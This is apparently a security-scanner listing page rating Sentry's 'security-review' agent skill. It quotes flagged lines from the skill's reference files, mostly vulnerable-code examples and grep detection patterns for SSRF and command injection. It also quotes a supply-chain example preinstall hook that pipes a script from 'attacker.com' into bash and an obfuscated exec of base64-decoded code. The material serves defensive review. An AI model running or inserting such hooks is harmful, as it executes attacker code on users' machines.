security-review

52 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By getsentry/skills (GitHub) · security · 1,139 stars · scanned at commit e94f222

Security code review for vulnerabilities. Use when asked to "security review", "find vulnerabilities", "check for security issues", "audit security", "OWASP review", or review code for injection, XSS, authentication, authorization, cryptography issues. Provides systematic review with confidence-based reporting.

Works with any agent that supports SKILL.md skills.

What this skill can do

Connects to the internet

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 36 places.

skills/security-review/SKILL.md, line 63response = requests.get(f"{settings.SEER_AUTOFIX_URL}{path}")
skills/security-review/SKILL.md, line 69response = requests.get(request.GET.get('url'))
skills/security-review/SKILL.md, line 220requests.get(request.GET['url']) # FLAG: User-controlled URL

Show 17 more

skills/security-review/SKILL.md, line 221requests.get(settings.API_URL) # SAFE: Server-controlled config
skills/security-review/SKILL.md, line 222requests.get(f"{settings.BASE}/{x}") # CHECK: Is 'x' user input?
skills/security-review/languages/javascript.md, line 145fetch(userUrl); // FLAG: Check URL validation
skills/security-review/languages/javascript.md, line 146http.get(userUrl); // FLAG: Check URL validation
skills/security-review/languages/javascript.md, line 201const data = await fetch(query.url); // FLAG: SSRF
skills/security-review/languages/javascript.md, line 206const data = await fetch(process.env.API_KEY); // CHECK: Client-side exposure
skills/security-review/languages/python.md, line 25requests.get(settings.EXTERNAL_API_URL) # NOT SSRF - configured at deployment
skills/security-review/languages/python.md, line 26requests.get(f"{settings.SEER_URL}{path}") # NOT SSRF - base URL is server-controlled
skills/security-review/languages/python.md, line 32requests.get(API_URL) # Server operator controls this
skills/security-review/languages/python.md, line 234requests.get(user_url)
skills/security-review/languages/python.md, line 235urllib.request.urlopen(user_url)
skills/security-review/languages/python.md, line 236httpx.get(user_url)
skills/security-review/languages/python.md, line 237aiohttp.ClientSession().get(user_url)
skills/security-review/references/csrf.md, line 131fetch('/api/transfer', {
skills/security-review/references/csrf.md, line 173fetch('/api/endpoint', {
skills/security-review/references/csrf.md, line 291fetch(`/api/action?${param}`, { method: 'POST' });
skills/security-review/references/csrf.md, line 300fetch(`/api/action?${param}`, { method: 'POST' });

and 16 more places

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 26 places.

skills/security-review/SKILL.md, line 195shell=True + user_input # Python subprocess
skills/security-review/SKILL.md, line 196child_process.exec(user) # Node.js
skills/security-review/SKILL.md, line 206os.system(f"cmd {user_input}") # Command injection

Show 17 more

skills/security-review/languages/javascript.md, line 135execSync(userInput); // FLAG: Critical
skills/security-review/languages/javascript.md, line 137child_process.exec(userCmd); // FLAG: Critical
skills/security-review/languages/javascript.md, line 377grep -rn "child_process\|exec(\|execSync(\|spawn(" --include="*.js" --include="*.ts"
skills/security-review/languages/python.md, line 80os.system(f"cmd {user_input}") # FLAG
skills/security-review/languages/python.md, line 81subprocess.run(cmd, shell=True) # FLAG if cmd contains user input
skills/security-review/languages/python.md, line 82subprocess.Popen(cmd, shell=True) # FLAG if cmd contains user input
skills/security-review/languages/python.md, line 222os.system(user_cmd)
skills/security-review/languages/python.md, line 223os.popen(user_cmd)
skills/security-review/languages/python.md, line 224subprocess.call(cmd, shell=True) # If cmd has user input
skills/security-review/languages/python.md, line 225subprocess.run(cmd, shell=True) # If cmd has user input
skills/security-review/languages/python.md, line 226subprocess.Popen(cmd, shell=True) # If cmd has user input
skills/security-review/languages/python.md, line 359grep -rn "os\.system\|subprocess.*shell=True\|os\.popen" --include="*.py"
skills/security-review/references/file-security.md, line 419grep -rn "os\.system.*file\|subprocess.*file" --include="*.py"
skills/security-review/references/injection.md, line 133os.system(f"mkdir {directory_name}")
skills/security-review/references/injection.md, line 143subprocess.run(f"convert {input_file} {output_file}", shell=True)
skills/security-review/references/injection.md, line 146subprocess.run(["convert", input_file, output_file], shell=False)
skills/security-review/references/injection.md, line 170| Python | `os.system()`, `subprocess.run(shell=True)`, `os.popen()`, `eval()`, `exec()` |

and 6 more places

Downloads and installs other software

The author does not mention this.

Found in 9 places.

skills/security-review/infrastructure/docker.md, line 90RUN apt-get update && apt-get install -y curl wget
skills/security-review/infrastructure/docker.md, line 94RUN apt-get install -y vim nano curl wget git ssh
skills/security-review/infrastructure/docker.md, line 98apt-get install -y --no-install-recommends curl && \

Show 6 more

skills/security-review/infrastructure/docker.md, line 153RUN apt-get install -y \
skills/security-review/infrastructure/docker.md, line 402grep -rn "^ADD\|EXPOSE 22\|apt-get install.*ssh" Dockerfile
skills/security-review/infrastructure/docker.md, line 405grep -rn "apt-get install" Dockerfile | grep -v "rm -rf"
skills/security-review/references/supply-chain.md, line 199pip install --require-hashes -r requirements.txt
skills/security-review/references/supply-chain.md, line 258"preinstall": "curl https://attacker.com/script.sh | bash", // DANGEROUS
skills/security-review/references/supply-chain.md, line 296pip install package # Will check PyPI even for internal names

Contains code that is hidden or hard to read

The author does not mention this.

Found in 1 place.

skills/security-review/references/supply-chain.md, line 235exec(base64.b64decode('aW1wb3J0IG9z...'))

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'security-review' ] || [ -L ~/.agents/skills/'security-review' ]; then echo 'A skill folder named security-review already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/getsentry/skills' "$d" && git -C "$d" checkout --quiet 'e94f22214528d69899d09c627b3315ddc3544816' -- 'skills/security-review' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/security-review' ~/.agents/skills/'security-review' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'security-review' ~/.claude/skills/'security-review' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for getsentry/skills shows the score of its lowest-scoring skill.

SkillTrust badge for getsentry/skills

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/getsentry/skills.svg)](https://zalavijaysinh.github.io/skilltrust/repos/getsentry/skills/)

Score history

Date	Version	Score
2026-11-08	`e94f222`	52
2026-11-07	`e94f222`	42